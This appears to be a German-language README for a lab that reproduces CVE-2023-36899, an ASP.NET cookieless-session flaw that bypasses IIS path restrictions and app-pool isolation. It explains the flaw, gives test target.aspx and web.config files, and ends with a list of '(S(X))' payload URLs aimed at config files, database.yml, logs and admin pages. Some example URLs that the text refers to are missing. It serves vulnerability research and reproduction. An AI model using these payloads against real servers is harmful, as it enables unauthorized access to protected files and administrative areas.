
Reproduktionsumgebung und Werkzeuge für die Schwachstelle CVE-2023-36899, die die Umgehung der Authentifizierung cookieloser Sitzungen im ASP.NET-Framework betrifft.
CVE-2023-36899漏洞的复现环境和工具,针对ASP.NET框架中的无cookie会话身份验证绕过。
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
Im modernen Webentwicklung sind Cookies zwar die bevorzugte Methode zur Übertragung von Sitzungs-IDs, aber das .NET Framework bietet auch eine alternative Methode: die Sitzungs-ID direkt in der URL zu kodieren. Diese Technik wird als 'cookieless'-Funktion im .NET Framework bezeichnet. Viele Entwickler und Sicherheitstester übersehen diese Option, da sie in der Praxis selten vorkommt. Allerdings hat sich dies zu einer Fundgrube für clientseitige Schwachstellen wie Session Fixation, Session Hijacking, HTML-Injection und Cross-Site Scripting entwickelt. Darüber hinaus kann diese Funktion ausgenutzt werden, um pfadbasierte Firewall-Regeln zu umgehen, die nicht für die Erkennung der cookielosen Methode konfiguriert sind. Aufgrund der inhärenten Sicherheitsprobleme haben .NET Core und spätere .NET-Versionen die cookielose Funktion weggelassen. Aber wir dürfen nicht vergessen, dass es immer noch eine große Anzahl von Webanwendungen gibt, die das klassische .NET Framework verwenden.
Schlüsselpunkte:
Die cookielose Funktion des .NET Frameworks kann missbraucht werden, um auf geschützte Verzeichnisse oder Verzeichnisse zuzugreifen, die von IIS URL-Filtern blockiert werden. Betrachten Sie zum Beispiel die folgende Situation auf der Website victim.com:
Normalerweise wird der Zugriff auf diese Seiten über diese URLs in IIS blockiert:
Aber unter Verwendung der cookielosen Funktion können diese Seiten über die folgenden Muster aufgerufen werden:
Die Art und Weise, wie IIS Anwendungspools verwaltet, kann zu einer Privilegienerweiterung oder Sicherheitsumgehung führen. Die cookielose Funktion des .NET Frameworks kann manipuliert werden, um eine IIS-Anwendung zu zwingen, mit dem übergeordneten Anwendungspool anstelle ihres eigenen zu laufen.
Zum Beispiel:
Eine C#-Datei namens AppPoolPrint.aspx, auf die in allen oben genannten Anwendungen zugegriffen werden kann, zeigt den aktuellen Anwendungspoolnamen an.
Durch zweimalige Verwendung der cookielosen Funktion können wir diese Seite mit dem übergeordneten Anwendungspool ausführen:
Dies erlaubt es, dass Seiten in /classic/nodotnet/ (die keinen verwalteten Code ausführen sollten) dennoch ASPX-Seiten mit dem übergeordneten Anwendungspool ausführen. Dieses Verhalten kann zu einer Privilegienerweiterung auf IIS führen.
Wählen Sie bei der Installation von IIS aus:
Testinhalt der Datei target.aspx:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
Testinhalt der Datei web.config im Stammverzeichnis:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
Wobei bedeutet, dass die Website Cookies verwendet, um einige Standardsitzungsinformationen zu speichern, standardmäßig ist dies auch so.

Mit http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx erfolgreich darauf zugegriffen.

Mögliche Payload-Liste:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899